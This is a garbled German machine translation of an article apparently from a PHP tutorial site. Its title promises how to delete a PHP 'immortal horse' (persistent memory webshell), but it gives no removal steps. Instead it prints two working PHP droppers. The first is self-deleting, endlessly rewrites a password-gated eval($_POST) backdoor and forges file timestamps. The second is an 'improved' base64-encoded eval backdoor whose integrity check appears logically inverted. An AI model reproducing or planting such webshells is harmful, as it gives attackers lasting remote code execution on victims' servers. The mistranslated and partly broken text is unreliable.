Heim > Artikel > Backend-Entwicklung > So löschen Sie PHP Immortal Horse
Was ist ein unsterbliches Pferd?
Memory Horse ist für den Laien ein unsterbliches Pferd. Es führt ein Programm aus, das niemals beendet wird und im PHP-Prozess verbleibt und auf unbestimmte Zeit ausgeführt wird.
Generierungsprozess (Empfohlenes Lernen: PHP-Video-Tutorial)
Immortal Horse.php → Auf Server hochladen → Server-Ausführungsdatei → Server lokal unbegrenzt Schleifenerzeugung (ein Satz.php)
Das unsterbliche Pferd, das im Internet zirkuliert
<?php ignore_user_abort(true); set_time_limit(0); unlink(__FILE__); $file = '2.php'; $code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>';while (1){ file_put_contents($file,$code); system('touch -m -d "2018-12-01 09:10:12" .2.php'); usleep(5000); } ?>
Das unsterbliche Pferd, das im Internet kursiert, beurteilt dies jedoch nicht file Wenn es existiert, muss ich nur die Shell in dieser Datei auskommentieren, um Ihren Speichertrojaner zu umgehen.
Die richtige Haltung sollte so sein:
Copy<?php ignore_user_abort(true); set_time_limit(0); $file = 'c.php'; $code = base64_decode('PD9waHAgZXZhbCgkX1BPU1RbY10pOz8+'); while(true) { if(md5(file_get_contents($file))===md5($code)) { file_put_contents($file, $code); } usleep(50); }?>
Das obige ist der detaillierte Inhalt vonSo löschen Sie PHP Immortal Horse. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!